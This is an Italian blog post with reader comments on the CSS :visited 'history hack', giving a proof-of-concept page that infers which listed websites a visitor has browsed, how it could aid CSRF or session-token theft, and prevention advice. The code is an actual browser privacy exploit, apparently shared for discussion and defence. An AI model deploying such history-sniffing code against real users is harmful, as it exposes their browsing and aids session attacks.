Css History Hack: discussione e prevenzione

histLa settimana scorsa è spuntato un post nel forum sla.ckers.org che ha attirato subito la mia attenzione. Vista l’impossibilità di accedere all’oggetto history per navigare tra i vari elementi della cronologia, si è pensato ad un metodo alternativo ma molto efficace per accedere ad essa.

Il funzionamento di base è molto semplice e si appoggia su di una funzionalità messa a disposizione dai browser di oggi attraverso i CSS: la specifica a:visited. Cerchiamo di capire meglio con un esempio:

<!DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.0 Transitional//EN”>
<html>
<head>
<title>Css history</title>
</head>
<body>
<script type=”text/javascript”>
var knownurls = [
http://www.google.it&#8217;, ‘http://www.myspace.com&#8217;,
http://www.yahoo.com&#8217;, ‘http://www.google.com&#8217;,
http://www.twitter.com&#8217;, ‘http://it.netlog.com&#8217;,
http://ha.ckers.org&#8217;, ‘http://seoblackhat.com&#8217;,
http://www.cgisecurity.com&#8217;,  , ‘http://www.facebook.com/home.php&#8217;
];
document.write( ‘<style type=”text/css”>a:link{color:#fff;}’ );
document.write( ‘a:visited{height:1px;width:1px;display:block;overflow:hidden;margin:1px;}’ );
document.write( ‘{font-size:1px;overflow:hidden;height:1px;margin:0;padding:0;}</style>’ );
var output = ‘<h1>Urls riconosciuti</h1><ul>’;
var c = document.createElement(‘div’);
document.body.appendChild(c)
for(i in knownurls){
var anchor=document.createElement(‘a’);
anchor.href=knownurls[i];
anchor.innerHTML=knownurls[i];
c.appendChild(anchor)
if(anchor.offsetHeight==1){
output+='<li>’+knownurls[i]+'</li>’;
}
}
document.write(output+'</ul>’);
</script>
</body>
</html>

Questa porzione di codice funziona più o meno in questo modo: ho una lista di url, li stampo in una pagina html e sfrutto il selettore visited. Se l’url è stato visitato dalla vittima, la specifica visited fa si che a quello specifico url vengano assegnate delle caratteristiche (via CSS) che lo rendano riconoscibile ed infine lo inserisce nel testo della pagina html. In questo modo aprendo questa pagina con il browser vedremo una lista di url contenente soltanto indirizzi già visitati .

Naturalmente, per ottenere una lista cospicua di siti visitati è bene aggiungere molti elementi all’array knownurls, ad esempio cercando tra  i siti più visitati dagli utenti di alcuni social bookmarking come delicious e digg.

Il codice javascript che riconosce questi url può essere facilmente nascosto ed utilizzato per lanciare automaticamente attacchi di tipo CSRF, poichè c’è una buona probabilità che l’utente abbia una sessione attiva in uno dei siti precedentemente visitati.

Altro pericoloso utilizzo di questa tecnica permette all’attaccante di ottenere un token di sessione propagato via url (una tecnica di protezione piuttosto ambigua che discuterò in un prossimo articolo) .

Alcuni sviluppatori inseriscono un token di conferma per ogni richiesta nell’url, così da rifiutare ogni richiesta non attendibile. Questo implica una diminuzione del traffico indesiderato e delle richieste non autorizzate, ma d’altra parte espone il token di sessione che potrebbe essere salvato dalla cronologia. Quest’ultima, come abbiamo visto, risulta essere vulnerabile quindi ci ritroveremmo con i nostri token di sessione esposti a favore dell’attaccante.

Quest’ultimo, una volta compreso il formato del token, potrebbe  con un semplice script javascript generare migliaia di token in pochi secondi, con una buona probabilità di ottenere il nostro token di sessione e quindi  accedere a dati sensibili.

Ci tengo a ribadire il concetto che session id e tokens sono strumenti di sicurezza, ma anche essi vanno protetti adeguatamente. Perciò vi consiglio di NON propagare il token di sessione via url ma di farlo attraverso campi nascosti di un form e di rigenerarlo il più possibile.

Se siamo utenti, possiamo ricorrere all’estensione per firefox SafeHistory che ci protegge dal tipo di attacco oggetto di questo articolo.

2 risposte a “Css History Hack: discussione e prevenzione

  1. Sei in ritardo di 2 anni..mi ero inventato questa tecnica 2 anni fa ( http://www.kerouac3001.com/black-hat-tool-per-interrogare-la-cache-di-un-utente-56.htm ) creando questo tool per identificare un utente e tracciare un profilo. Purtroppo il tool oramai l’ho disabilitato.

    Il pericolo di sicurezza di cui parli è pura fantascienza😀 o meglio se esiste un programmatore così stupido da generare token limitati merita di subire questi attacchi😀 (così come i programmatori dilettanti di flickr che non hanno idea del significato di ^ e $, meritano di subire gli attacchi che subiscono LoL)

    Ma nella normalità delle cose questo tipo di attacco sarebbe equiparabile almeno ad un brute force di una password alfanumerica di 16 caratteri.

    Praticamente l’utente dovrebbe permanere nella pagina per 10 anni ed a quel punto la sessione sarebbe scaduta e se dio ci assiste potrebbe già essere caduto pure il governo.

    P.S. va precisato che se l’utente usa firefox le risorse del computer verrebbero saturate nel giro di 23,5 ore, dopo di che in un arco di tempo compreso tra le 56 e le 78 il suo pc si trasformerebbe in un buco nero.

    P.P.S. preciso che la tecnica che hai usato può fare a meno dell’utilizzo di richiami a codice javascript interni alla pagina. Basterebbe semplicemente inserire un foglio di stile esterno e dal css eseguire javascript su un singolo elemento.

  2. Ciao Kerrouac3001

    Non è mica una gara contro il tempo, non ho scritto di essermi inventato niente, se tu avessi letto l’articolo e non ti fossi fermato al titolo avresti compreso il significato di “La settimana scorsa è spuntato un post nel forum sla.ckers.org che ha attirato subito la mia attenzione.” Il mio è un approfondimento, se avessi scoperto qualcosa di nuovo non sarebbe questo il supporto con il quale comunicherei la scoperta😀

    Leggi nelle mie righe che è necessario javascript? non mi sembra, avevo intenzione di scrivere un secondo articolo che utilizzasse soltanto css e SENZA SCRIPT ESTERNO ,ti assicuro che non è indispensabile.

    Non sono daccordo sul fatto che l’utente dovrebbe lasciare firefox aperto per 10 anni: basta un ora! sai che statisticamente molti programmatori mettono cookie che durano ore? sai che molta gente lascia il pc acceso di notte o durante il giorno sbattendosene delle applicazioni lasciate on?

    Per quel che riguarda il discorso della fantascienza, sono dell’idea che ogni tipo di exploit basato su CSRF sia fantascienza perchè non mi sgnerei MAI di usare tokens da 4/8 simboli eppure esistono programmatori che pensano di risparmiare cicli di clock generando token più piccoli (anche microsoft a suo tempo allungò i propri token). In settimana ho trovato un sito di video hosting Indiano che registrava e visualizzava le ultime ricerche fatte dagli utenti senza filtrare i simboli > < e ' . Credi ancora che i problemi di sicurezza per quanto stupidi siano fantascienza?😀 spero di averti convinto.

    Solo due cose sono infinite, l’Universo e la stupidità umana, anche se sul primo nutro dei dubbi. (Albert Einstein (1879 – 1955))

    PS scusa se la risposta è sconclusionata ma sono sveglio da 15 minuti e mi ritengo una persona impulsiva ;D

    PPS grazie per l'attenzione

Lascia un commento

Inserisci i tuoi dati qui sotto o clicca su un'icona per effettuare l'accesso:

Logo WordPress.com

Stai commentando usando il tuo account WordPress.com. Chiudi sessione / Modifica )

Foto Twitter

Stai commentando usando il tuo account Twitter. Chiudi sessione / Modifica )

Foto di Facebook

Stai commentando usando il tuo account Facebook. Chiudi sessione / Modifica )

Google+ photo

Stai commentando usando il tuo account Google+. Chiudi sessione / Modifica )

Connessione a %s...